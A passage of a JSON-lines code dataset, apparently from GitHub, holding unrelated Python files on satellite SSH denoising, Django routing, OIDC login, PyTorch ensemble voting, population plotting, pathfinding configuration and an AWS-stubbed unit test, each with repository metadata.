= convolution_filter(ssh, 10., method = 'gaussian') # output here is a simple ndarray\n\n # Gradient descent\n tau = np.min( ( 1./(1+8*param[0]), 1./(1+64*param[1]), 1./(1+512*param[2]) ) ) # Fix the tau factor for iterations\n print(tau)\n mask = 1 - ssh.mask # set 0 on masked values, 1 otherwise. For the background term of cost function.\n iteration = 1\n while (iteration < itermax):\n iteration += 1\n ssh_tmp = np.copy(ssh_d)\n lap_tmp = laplacian(ssh_tmp)\n bilap_tmp = laplacian(lap_tmp)\n incr = mask*(ssh.data-ssh_tmp) + param[0]*lap_tmp - param[1]*bilap_tmp + param[2]*laplacian(bilap_tmp)\n ssh_d = ssh_tmp + tau*incr\n norm = np.ma.sum(mask*incr*incr)/np.sum(mask) #\n if norm < epsilon:\n break\n print(iteration, norm/epsilon)\n\n return ssh_d\n\n\ndef write_error_and_exit(nb):\n \"\"\"Function called in case of error, to guide the user towards appropriate adjustment.\"\"\"\n\n if nb == 1:\n print(\"You must provide a SWOT file name OR SSH, lon, lat, x_ac and time arrays. SSH must be a masked array.\")\n if nb == 2:\n print(\"The filtering method is not correctly set.\")\n if nb == 3:\n print(\"For the variational regularization filter, lambd must be a 3-entry tuple.\")\n sys.exit()\n\n\n################################################################\n# Main function:\n\ndef SWOTdenoise(*args, **kwargs):\n # , method, parameter, inpainting='no',\n \"\"\"\n Perform denoising of SWOT data.\n \n Parameters:\n ----------\n *args: name of file containing the SWOT SSH field to denoise (optional). Example of use:\n SWOTdenoise(filename)\n denoise data in file 'filename' and write an output file in the same directory. \\n\n The output file is named 'foo_denoised.nc' if the input file name is 'foo.nc'.\n \n **kwargs include:\n - ssh : input ssh array (2D)\n - lon : input longitude array (2D)\n - lat : input latitude array (2D)\n - x_ac : input across-track coordinates (1D)\n - time : input along-track coordinates (1D)\n The above-mentioned arguments are mandatory if no file name is given. They are exactly in the format provided by the SWOT simulator for ocean science version 3.0.\n \n Other keywords arguments are:\n - method: gaussian, boxcar, or var_reg (default);\n - param: number for gaussian and boxcar; 3-entry tuple for var_reg (default: (1.5, 0, 0); underinvestigation) ;\n - itermax: only for var_reg: maximum number of iterations in the gradient descent algortihm (default: 10000);\n - epsilon: only for var_reg: convergence criterium for the gradient descent algortihm (default: 1e-9);\n - inpainting: if True, the nadir gap is inpainted. If False, it is not and the returned SSH array is of the same shape as the original one. If the SWOTdenoise function is called using arrays (see above description) with inpainting=True, then it returns SSH, lon, and lat arrays. If it is called using arrays with inpainting=False, it returns only SSH, since lon and lat arrays are the same as for the input field. Default is False.\n \n The algorithms are detailed in the scientific documentation.\n \"\"\"\n\n ################################################################\n # 1. Read function arguments\n\n # 1.1. Input data\n\n file_input = len(args) == 1\n if file_input:\n if type(args[0]) is not str: write_error_and_exit(1) \n filename = args[0]\n swotfile = filename.split('/')[-1]\n swotdir = filename.split(swotfile)[0]\n listvar = 'ssh_obs', 'lon', 'lat', 'x_ac', 'time_sec'\n ssh, lon, lat, x_ac, time = read_data(filename, *listvar) \n else:\n ssh = kwargs.get('ssh', None)\n lon = kwargs.get('lon', None)\n lat = kwargs.get('lat', None)\n x_ac = kwargs.get('x_ac', None)\n time = kwargs.get('time', None)\n if any( ( isinstance(ssh, NoneType), isinstance(lon, NoneType), isinstance(lat, NoneType), \\\n isinstance(x_ac, NoneType), isinstance(time, NoneType) ) ):\n write_error_and_exit(1)\n\n # 1.2. Denoising method\n\n method = kwargs.get('method', 'var_reg')\n param = kwargs.get('param', (1.5, 0, 0) ) # default value to be defined \n itermax = kwargs.get('itermax', 10000)\n epsilon = kwargs.get('epsilon', 1.e-9)\n inpainting = kwargs.get('inpainting', False)\n\n # 2. Perform denoising\n\n # 2.1. Fill nadir gap with masked fill values\n\n ssh_f, lon_f, lat_f, x_ac_f = fill_nadir_gap(ssh, lon, lat, x_ac, time) # fill the nadir gap with masked fill values\n\n # 2.2. Call method\n\n if method == 'do_nothing':\n ssh_d, lon_d, lat_d, x_ac_d, time_d = copy_arrays(ssh, lon, lat, x_ac, time)\n\n if method == 'boxcar':\n #ssh_d, lon_d, lat_d, x_ac_d, time_d = convolution_filter(ssh, lon, lat, x_ac, time, param, method='boxcar')\n ssh_d = convolution_filter(ssh_f, param, method='boxcar')\n\n if method == 'gaussian':\n #ssh_d, lon_d, lat_d, x_ac_d, time_d = convolution_filter(ssh, lon, lat, x_ac, time, lambd, method='gaussian')\n ssh_d = convolution_filter(ssh_f, param, method='gaussian')\n\n if method == 'var_reg':\n if len(param) is not 3:\n write_error_and_exit(3)\n #ssh_d = variational_regularization_filter(ssh, lon, lat, x_ac, time, param, \\\n # itermax=itermax, epsilon=epsilon, inpainting=inpainting) \n ssh_d = variational_regularization_filter(ssh_f, param, itermax=itermax, epsilon=epsilon) \n\n # 2.3. Handle inpainting option, and recover masked array\n\n if inpainting is True:\n ssh_tmp, _, _, _ = fill_nadir_gap(ssh, lon, lat, x_ac, time, method='interp') # to get appropriate mask\n ssh_d = np.ma.array(ssh_d, mask = ssh_tmp.mask, fill_value = ssh.fill_value ) # generate masked array\n lon_d, lat_d, x_ac_d = copy_arrays(lon_f, lat_f, x_ac_f)\n else:\n ssh_d = np.ma.array(ssh_d, mask = ssh_f.mask, fill_value = ssh.fill_value ) # generate masked array\n ssh_d = empty_nadir_gap(ssh_d, x_ac_f, ssh, x_ac) # Remove value in the gap\n lon_d, lat_d, x_ac_d = copy_arrays(lon, lat, x_ac)\n\n # Set masked values to fill value\n mask = ssh_d.mask\n ssh_d.data[mask] = ssh_d.fill_value\n\n # 3. Manage results\n\n if file_input:\n \"\"\"copy initial file and replace SSH with filtered SSH. To be done.\"\"\"\n filenameout = write_data(filename, ssh_d, lon_d, lat_d, x_ac_d, time)\n print('Filtered field in ', filenameout)\n else:\n if inpainting is True:\n return ssh_d, lon_d, lat_d\n else:\n return ssh_d", "repo_name": "leguillf/toolbox", "sub_path": "SWOTdenoise.py", "file_name": "SWOTdenoise.py", "file_ext": "py", "file_size_in_byte": 17766, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "netCDF4.Dataset", "line_number": 34, "usage_type": "call"}, {"api_name": "netCDF4.Dataset", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 161, "usage_type": "call"}, {"api_name": "numpy.insert", "line_number": 165, "usage_type": "call"}, {"api_name": "scipy.interpolate.RectBivariateSpline", "line_number": 168, "usage_type": "call"}, {"api_name": "scipy.interpolate.RectBivariateSpline", "line_number": 169, "usage_type": "call"}, {"api_name": "numpy.ma.masked_values", "line_number": 173, "usage_type": "call"}, {"api_name": "numpy.ma", "line_number": 173, "usage_type": "attribute"}, {"api_name": "scipy.interpolate.RectBivariateSpline", "line_number": 173, "usage_type": "call"}, {"api_name": "numpy.full", "line_number": 175, "usage_type": "call"}, {"api_name": "numpy.ma.masked_values", "line_number": 176, "usage_type": "call"}, {"api_name": "numpy.ma", "line_number": 176, "usage_type": "attribute"}, {"api_name": "numpy.insert", "line_number": 176, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 198, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 199, "usage_type": "call"}, {"api_name": "numpy.ma.array", "line_number": 200, "usage_type": "call"}, {"api_name": "numpy.ma", "line_number": 200, "usage_type": "attribute"}, {"api_name": "numpy.ma.any", "line_number": 225, "usage_type": "call"}, {"api_name": "numpy.ma", "line_number": 225, "usage_type": "attribute"}, {"api_name": "numpy.flatnonzero", "line_number": 226, "usage_type": "call"}, {"api_name": "numpy.ones_like", "line_number": 229, "usage_type": "call"}, {"api_name": "scipy.ndimage.generic_filter", "line_number": 234, "usage_type": "call"}, {"api_name": "scipy.ndimage", "line_number": 234, "usage_type": "name"}, {"api_name": "numpy.nanmean", "line_number": 234, "usage_type": "attribute"}, {"api_name": "scipy.ndimage.generic_filter", "line_number": 235, "usage_type": "call"}, {"api_name": "scipy.ndimage", "line_number": 235, "usage_type": "name"}, {"api_name": "numpy.nanmean", "line_number": 235, "usage_type": "attribute"}, {"api_name": "scipy.ndimage.gaussian_filter", "line_number": 237, "usage_type": "call"}, {"api_name": "scipy.ndimage", "line_number": 237, "usage_type": "name"}, {"api_name": "scipy.ndimage.gaussian_filter", "line_number": 238, "usage_type": "call"}, {"api_name": "scipy.ndimage", "line_number": 238, "usage_type": "name"}, {"api_name": "numpy.clip", "line_number": 242, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 254, "usage_type": "call"}, {"api_name": "numpy.subtract", "line_number": 256, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 267, "usage_type": "call"}, {"api_name": "numpy.subtract", "line_number": 268, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 286, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 287, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 288, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 332, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 338, "usage_type": "call"}, {"api_name": "numpy.ma.sum", "line_number": 343, "usage_type": "call"}, {"api_name": "numpy.ma", "line_number": 343, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 343, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 360, "usage_type": "call"}, {"api_name": "numpy.ma.array", "line_number": 457, "usage_type": "call"}, {"api_name": "numpy.ma", "line_number": 457, "usage_type": "attribute"}, {"api_name": "numpy.ma.array", "line_number": 460, "usage_type": "call"}, {"api_name": "numpy.ma", "line_number": 460, "usage_type": "attribute"}]} {"seq_id": "6849288052", "text": "from django.urls import path\nfrom .views import *\n\nurlpatterns = [\n\tpath('',index,name='index'),\n\tpath('register',register, name='register'),\n\tpath('dashboard',dashboard, name='dashboard'),\n\tpath('rankboard',rankboard, name='rankboard'),\n\tpath('contest',contest, name='contest'),\n\tpath('alinks',alinks, name='alinks'),\n\n\n]", "repo_name": "unclebay143/codecompetition", "sub_path": "codeapp/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 322, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.urls.path", "line_number": 5, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 6, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}]} {"seq_id": "33870607181", "text": "\"\"\"OIDC Auth.\"\"\"\nfrom functools import lru_cache\nfrom typing import TYPE_CHECKING\n\nfrom django.conf import settings\nfrom django.contrib.auth.models import Group\nfrom mozilla_django_oidc.auth import OIDCAuthenticationBackend\n\nif TYPE_CHECKING: # pragma: no cover\n from django.contrib.auth import get_user_model\n\n User = get_user_model()\n\n\n@lru_cache\ndef get_group(group: str) -> Group:\n \"\"\"get_group function is a cached helper to get a group from it's name.\n\n Args:\n group (str): The group name\n\n Returns:\n Group: The group\n \"\"\"\n return Group.objects.get(name=group)\n\n\nclass ControllerOIDCAuthenticationBackend(OIDCAuthenticationBackend):\n \"\"\"This class is responsible of the authentication.\"\"\"\n\n def create_user(self, claims: dict) -> \"User\":\n \"\"\"This method is responsible for the user creation.\n\n It create the user with the username and default permissions\n\n Args:\n claims (dict): OIDC claims\n\n Returns:\n User: The user\n \"\"\"\n user = super().create_user(claims)\n self._set_username(user, claims)\n self._set_perms(user)\n user.save()\n\n return user\n\n def update_user(self, user: \"User\", claims: dict) -> \"User\":\n \"\"\"This method is responsible for updating the user.\n\n Each times the user login we update his information\n\n Args:\n user (User): The user to update\n claims (dict): OIDC claims\n\n Returns:\n User: The new user\n \"\"\"\n self._set_username(user, claims)\n self._set_perms(user)\n user.save()\n\n return user\n\n def _set_username(self, user: \"User\", claims: dict):\n \"\"\"This method update the username of user from claim.\n\n Args:\n user (User): The user to update\n claims (dict): OIDC claims\n \"\"\"\n email = claims.get(\"email\")\n username = email.split(\"@\")[0]\n user.username = claims.get(\"preferred_username\") or username\n user.first_name = claims.get(\"given_name\", \"\")\n user.last_name = claims.get(\"family_name\", \"\")\n\n def _set_perms(self, user: \"User\"):\n \"\"\"This method update the permissions of user.\n\n Args:\n user (User): The user to update\n \"\"\"\n user.is_staff = True\n user.groups.add(get_group(settings.DEVELOPER_GROUP))\n", "repo_name": "SpikeeLabs/sentry-dynamic-sampling-controller", "sub_path": "controller/sentry/auth.py", "file_name": "auth.py", "file_ext": "py", "file_size_in_byte": 2384, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "typing.TYPE_CHECKING", "line_number": 9, "usage_type": "name"}, {"api_name": "django.contrib.auth.get_user_model", "line_number": 12, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.Group.objects.get", "line_number": 25, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.Group.objects", "line_number": 25, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.Group", "line_number": 25, "usage_type": "name"}, {"api_name": "functools.lru_cache", "line_number": 15, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.Group", "line_number": 16, "usage_type": "name"}, {"api_name": "mozilla_django_oidc.auth.OIDCAuthenticationBackend", "line_number": 28, "usage_type": "name"}, {"api_name": "django.conf.settings.DEVELOPER_GROUP", "line_number": 87, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 87, "usage_type": "name"}]} {"seq_id": "72847603423", "text": "import torch\nimport torch.nn as nn\nfrom torch.utils.data import TensorDataset\nfrom torch.utils.data import DataLoader\nfrom torch.optim import AdamW\nimport torch.nn.functional as F\nimport pytorch_lightning as pl\nfrom pytorch_lightning import Trainer\nimport random\n\nimport argparse\nparser = argparse.ArgumentParser()\n\n\n\n\nclass WeightedVoting(nn.Module):\n def __init__(self, num_model=5):\n super().__init__()\n self.weight = nn.Parameter(torch.ones(num_model, requires_grad=True).float())\n # self.l1 = nn.Linear(123,321)\n # nn.LayerNorm\n # self.weight[1] = 2\n # self.register_parameter(\"weight\", self.weight)\n \n def forward(self, x):\n \"\"\"\n x: [batch_size, num_models, num_choices]\n output: [batch_size, num_choices]\n \"\"\"\n t_weight = self.weight.unsqueeze(0).unsqueeze(2)\n x = x * t_weight\n x = torch.mean(x, dim=1)\n return x\n \nclass TrainWeightedVoting(pl.LightningModule):\n def __init__(self, config, train_set, test_set):\n super().__init__()\n\n assert len(train_set.shape) == 3, \"input dims must be [num_samples, num_models, num_choies]\"\n assert len(test_set.shape) == 3, \"input dims must be [num_samples, num_models, num_choies]\"\n\n num_models = train_set.shape[1]\n self.config = config\n self.hparams.lr = config[\"lr\"]\n self.hparams.batch_size = 12\n self.train_set, self.val_set = self._split_train(train_set)\n self.test_set = test_set\n # self.save_hyperparameters()\n self.model = WeightedVoting(num_models)\n self.loss_fct = nn.CrossEntropyLoss()\n # import IPython; IPython.embed(); exit(1)\n\n def forward(self, x):\n # import IPython; IPython.embed(); exit(1)\n return self.model(x)\n\n def configure_optimizers(self):\n return AdamW(self.parameters(), lr=self.hparams.lr)\n\n def training_step(self, batch, batch_idx):\n x, y = batch\n y_hat = self.model(x)\n loss = self.loss_fct(y_hat, y)\n\n return {\"loss\": loss}\n \n def validation_step(self, batch, batch_idx):\n x, y = batch\n # import IPython; IPython.embed(); exit(1)\n y_hat = self.model(x)\n loss = self.loss_fct(y_hat, y)\n\n return {\"eval_loss\": loss}\n\n def test_step(self, batch, batch_idx):\n x, y = batch\n y_hat = self.model(x)\n loss = self.loss_fct(y_hat, y)\n\n return {\"eval_loss\": loss}\n\n def train_dataloader(self):\n dataloader = DataLoader(self.train_ds, shuffle=True, batch_size=self.hparams.batch_size)\n return dataloader\n\n def val_dataloader(self):\n dataloader = DataLoader(self.val_ds, shuffle=False, batch_size=self.hparams.batch_size)\n return dataloader\n\n def test_dataloader(self):\n dataloader = DataLoader(self.test_ds, shuffle=False, batch_size=self.hparams.batch_size)\n return dataloader\n\n def _split_train(self, train):\n total_num_sample = train.shape[0]\n index = list(range(total_num_sample))\n random.shuffle(index)\n train = train[index]\n\n return train[:(total_num_sample//10)*9], train[(total_num_sample//10)*9:]\n\n def prepare_data(self) -> None:\n # import IPython; IPython.embed(); exit(1)\n # x, y = [num_samples, num_models, num_choices], [num_samples, 1]\n self.train_ds = TensorDataset(self.train_set[:,:,:-1], torch.mean(self.train_set,dim=[1,2]).long())\n self.val_ds = TensorDataset(self.val_set[:,:,:-1], torch.mean(self.val_set,dim=[1,2]).long())\n self.test_ds = TensorDataset(self.test_set)\n\n\n # for adjusting the batch size and learning rate\n @property\n def batch_size(self): return self.hparams.batch_size\n\n @batch_size.setter\n def batch_size(self, batch_size): self.hparams.batch_size = batch_size\n\n @property\n def lr(self): return self.hparams.lr\n\n @lr.setter\n def lr(self, lr): self.hparams.lr = lr\n\n# a = WeightedVoting(5)\n# inputs = torch.randint(1,5, size=(2,5,4)).float()\n# a(inputs)\n# print(torch.__version__)\nif __name__ == \"__main__\":\n train_set = torch.ones([1000,3,6])\n test_set = torch.rand([100,3,5])\n model = TrainWeightedVoting(dict(lr=1e-5),train_set, test_set)\n\n trainer_args = dict(\n gpus = 1,\n limit_train_batches=100,\n # epochs= 10, \n check_val_every_n_epoch=1,\n )\n \n trainer = Trainer(**trainer_args)\n\n trainer.fit(model)\n trainer.test()\n\n # import IPython; IPython.embed(); exit(1)", "repo_name": "CheaSim/WeightedVoting", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 4528, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "7", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 12, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 17, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 17, "usage_type": "name"}, {"api_name": "torch.nn.Parameter", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 20, "usage_type": "name"}, {"api_name": "torch.ones", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.mean", "line_number": 33, "usage_type": "call"}, {"api_name": "pytorch_lightning.LightningModule", "line_number": 36, "usage_type": "attribute"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 51, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 51, "usage_type": "name"}, {"api_name": "torch.optim.AdamW", "line_number": 59, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 84, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 88, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 92, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 98, "usage_type": "call"}, {"api_name": "torch.utils.data.TensorDataset", "line_number": 106, "usage_type": "call"}, {"api_name": "torch.mean", "line_number": 106, "usage_type": "call"}, {"api_name": "torch.utils.data.TensorDataset", "line_number": 107, "usage_type": "call"}, {"api_name": "torch.mean", "line_number": 107, "usage_type": "call"}, {"api_name": "torch.utils.data.TensorDataset", "line_number": 108, "usage_type": "call"}, {"api_name": "torch.ones", "line_number": 129, "usage_type": "call"}, {"api_name": "torch.rand", "line_number": 130, "usage_type": "call"}, {"api_name": "pytorch_lightning.Trainer", "line_number": 140, "usage_type": "call"}]} {"seq_id": "23488129718", "text": "import matplotlib.pyplot as plt\nimport numpy as np\n\nfig , ax = plt.subplots()\ncities = [\"Boston\" , \"Houston\", \"Detroit\", \"San Jose\", \"Phoenix\"]\n#line styles : Solid, dashes, dots, dash-dots, and dot-dot-dash\nlinestyles =[{\"ls\":\"-\"}, {\"ls\":\"--\"}, {\"ls\": \":\"}, {\"ls\":\"-.\"},\n {\"dashes\" :[ 2,4,2,4,8,4]}]\n\nfor i , city in enumerate(cities):\n filename = \"{}.tsv\".format(city.lower()).replace(\" \",\"_\")\n yr , pop = np.loadtxt(filename , unpack=True)\n line, = ax.plot(yr, pop/1.e6, label = city, c =\"k\", **linestyles[i])\nax.grid(True)\nax.legend(loc =\"upper left\")\nax.set_xlim(1800,2020)\nax.set_xlabel(\"Year\")\nax.set_ylabel(\"Population (millions)\")\nplt.show()\n", "repo_name": "DrCoder0909/Scientific_Python", "sub_path": "Python codes for numpy, matplotlib/population.py", "file_name": "population.py", "file_ext": "py", "file_size_in_byte": 672, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "matplotlib.pyplot.subplots", "line_number": 4, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 4, "usage_type": "name"}, {"api_name": "numpy.loadtxt", "line_number": 12, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 19, "usage_type": "name"}]} {"seq_id": "36544184388", "text": "import urllib2\nimport pprint\nfrom lr.lib.couch_change_monitor import BaseChangeThresholdHandler\nfrom pylons import config\nimport logging\nimport json\nappConfig = config['app_conf']\n\nlog = logging.getLogger(__name__)\n_RESOURCE_DATA_TYPE = \"resource_data\"\n_DOC_TYPE = \"doc_type\"\n_DOC = \"doc\"\n\nclass DistributeThresholdHandler(BaseChangeThresholdHandler):\n def _canHandle(self, change, database):\n if ((_DOC in change) and \n (change[_DOC].get(_DOC_TYPE) ==_RESOURCE_DATA_TYPE)) :\n return True\n return False\n \n def _handle(self, change, database):\n log.debug('start distribute')\n data = json.dumps({\"dist\":\"dist\"})\n request = urllib2.Request(appConfig['lr.distribute.url'],data,{'Content-Type':'application/json; charset=utf-8'})\n log.debug(pprint.pformat(request))\n try:\n response = urllib2.urlopen(request) \n except urllib2.HTTPError as err:\n log.warning(\"Got {0} ERROR when requesting \\\"{1}\\\"\".format(err.code, request.get_full_url()))\n\n log.debug('end distribute') \n \n", "repo_name": "LearningRegistry/LearningRegistry", "sub_path": "LR/lr/model/resource_data_monitor/distribute_threshold_handler.py", "file_name": "distribute_threshold_handler.py", "file_ext": "py", "file_size_in_byte": 1096, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 66, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pylons.config", "line_number": 7, "usage_type": "name"}, {"api_name": "logging.getLogger", "line_number": 9, "usage_type": "call"}, {"api_name": "lr.lib.couch_change_monitor.BaseChangeThresholdHandler", "line_number": 14, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 23, "usage_type": "call"}, {"api_name": "urllib2.Request", "line_number": 24, "usage_type": "call"}, {"api_name": "pprint.pformat", "line_number": 25, "usage_type": "call"}, {"api_name": "urllib2.urlopen", "line_number": 27, "usage_type": "call"}, {"api_name": "urllib2.HTTPError", "line_number": 28, "usage_type": "attribute"}]} {"seq_id": "4381777885", "text": "from __future__ import annotations\nfrom enum import Enum\n\nimport resource\n\nclass MatchingStrategy(Enum):\n Prematch = 0,\n PruningPrematch = 1,\n SortedPruningPrematch = 2,\n Inmatch = 3,\n\n\nByte = 1\nKiloByte = Byte * 1024\nMegaByte = KiloByte * 1024\nGigaByte = MegaByte * 1024\n\nclass Config:\n def __init__(\n self,\n operator_decomposition: bool = False,\n precompute_paths: bool = False,\n precompute_heuristic: bool = False,\n collision_avoidance_table: bool = False,\n recursive: bool = False,\n matching_strategy: MatchingStrategy = MatchingStrategy.Prematch,\n max_memory_usage: int = 3 * GigaByte,\n debug: bool = False,\n report_expansions: bool = False,\n ):\n self.operator_decomposition = operator_decomposition\n self.precompute_paths = precompute_paths\n self.precompute_heuristic = precompute_heuristic\n self.collision_avoidance_table = collision_avoidance_table\n self.recursive = recursive\n self.matching_strategy = matching_strategy\n\n if self.recursive:\n assert not self.inmatch, \"matching strategy cannot be inmatch when using recursive M*\"\n\n self.max_memory_usage = max_memory_usage\n self.debug = debug\n\n self.report_expansions = report_expansions\n self.expansions = []\n\n def report_expansion(self, size: int):\n self.expansions.append(size)\n\n @property\n def prematch(self) -> bool:\n return (\n self.matching_strategy == MatchingStrategy.Prematch or\n self.matching_strategy == MatchingStrategy.PruningPrematch or\n self.matching_strategy == MatchingStrategy.SortedPruningPrematch\n )\n\n @property\n def pruning_prematch(self) -> bool:\n return (\n self.matching_strategy == MatchingStrategy.PruningPrematch or\n self.matching_strategy == MatchingStrategy.SortedPruningPrematch\n )\n\n @property\n def inmatch(self) -> bool:\n return self.matching_strategy == MatchingStrategy.Inmatch\n\n def memory_usage_ok(self) -> bool:\n usage = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss\n\n if self.debug:\n print(f\"{usage / MegaByte} megabytes used out of {self.max_memory_usage / MegaByte}\")\n\n return usage < self.max_memory_usage\n", "repo_name": "jdonszelmann/research-project", "sub_path": "python/mstar/rewrite/config.py", "file_name": "config.py", "file_ext": "py", "file_size_in_byte": 2397, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "7", "api": [{"api_name": "enum.Enum", "line_number": 6, "usage_type": "name"}, {"api_name": "resource.getrusage", "line_number": 70, "usage_type": "call"}, {"api_name": "resource.RUSAGE_SELF", "line_number": 70, "usage_type": "attribute"}]} {"seq_id": "35536131442", "text": "import numpy as np\nimport matplotlib.pyplot as plt\n\nfrom modules.distributions import NormalDistribution, BernoulliDistribution\nfrom modules.models import DynamicModel\nfrom modules.dynamics import LorentzTransition\nfrom modules.emissions import SingleCoordinateEmission\n\n\nT = 40\ndt = 0.02\nsigma = np.sqrt(dt)*2.\ninitial_sigma = 1.\nobservation_gain = 2.\nd_x = 3\ndist = NormalDistribution()\nbm = DynamicModel(sigma=sigma, initial_sigma=initial_sigma, distribution=dist, d_x=d_x,\n transition=LorentzTransition(dt=dt),\n emission=SingleCoordinateEmission(k=0, gain=observation_gain),\n emission_distribution=BernoulliDistribution(), observation_gain=observation_gain, T=T)\nN = 12\nbm_sample,_ ,_ ,_ ,_ ,_ = bm.sample_timeseries(N)\n\nplt.plot(np.transpose(bm_sample[:,0,:].detach().numpy()))\nplt.show()\n\nX_true, Y, mu = bm.sample_observations(N)\n\nprint(1.)\n\n#bm_obs_sample = bm.sample_observations(1)\nx = X_true[0, 0, :].detach().numpy()\ny = Y[0, :].detach().numpy()\nplt.scatter(range(T), y)\nplt.plot((x - np.min(x))/np.max(x- np.min(x)))\nplt.show()", "repo_name": "LucaAmbrogioni/CascadingFlow", "sub_path": "Extra/test_lorentz_sampling.py", "file_name": "test_lorentz_sampling.py", "file_ext": "py", "file_size_in_byte": 1092, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.sqrt", "line_number": 12, "usage_type": "call"}, {"api_name": "modules.distributions.NormalDistribution", "line_number": 16, "usage_type": "call"}, {"api_name": "modules.models.DynamicModel", "line_number": 17, "usage_type": "call"}, {"api_name": "modules.dynamics.LorentzTransition", "line_number": 18, "usage_type": "call"}, {"api_name": "modules.emissions.SingleCoordinateEmission", "line_number": 19, "usage_type": "call"}, {"api_name": "modules.distributions.BernoulliDistribution", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 24, "usage_type": "name"}, {"api_name": "numpy.transpose", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 25, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 35, "usage_type": "name"}, {"api_name": "numpy.min", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}]} {"seq_id": "40672269429", "text": "import lambda_handler\nfrom unittest import TestCase\nfrom mock import call, patch, Mock\nfrom datetime import datetime\nimport boto3\nimport json\nfrom botocore.stub import Stubber\nimport urllib3\n\nmock_s3_client = boto3.client('s3', region_name=\"eu-west-2\")\ns3_stubber = Stubber(mock_s3_client)\nlist_objects_response = {\n 'IsTruncated': False,\n 'Contents': [\n {\n 'Key': 'return1.zip',\n 'LastModified': datetime(2015, 1, 1),\n 'ETag': 'string',\n 'Size': 123,\n 'StorageClass': 'STANDARD',\n 'Owner': {\n 'DisplayName': 'string',\n 'ID': 'string'\n }\n },\n {\n 'Key': 'do_not_return.txt',\n 'LastModified': datetime(2015, 1, 1),\n 'ETag': 'string',\n 'Size': 123,\n 'StorageClass': 'STANDARD',\n 'Owner': {\n 'DisplayName': 'string',\n 'ID': 'string'\n }\n },\n {\n 'Key': 'return2.zip',\n 'LastModified': datetime(2015, 1, 1),\n 'ETag': 'string',\n 'Size': 123,\n 'StorageClass': 'STANDARD',\n 'Owner': {\n 'DisplayName': 'string',\n 'ID': 'string'\n }\n },\n ],\n 'Name': 'string',\n 'EncodingType': 'url',\n 'KeyCount': 123,\n 'ContinuationToken': 'string'\n}\ns3_stubber.add_response('list_objects_v2', list_objects_response)\ns3_stubber.activate()\n\nmock_sm_client = boto3.client('secretsmanager', region_name=\"eu-west-2\")\nsm_stubber = Stubber(mock_sm_client)\nmock_secret_value_response = {\n 'ARN': 'arn:aws:secretsmanager:eu-west-7:123456789012:secret:tutorials/MyFirstSecret-jiObOV',\n 'Name': 'string',\n 'VersionId': 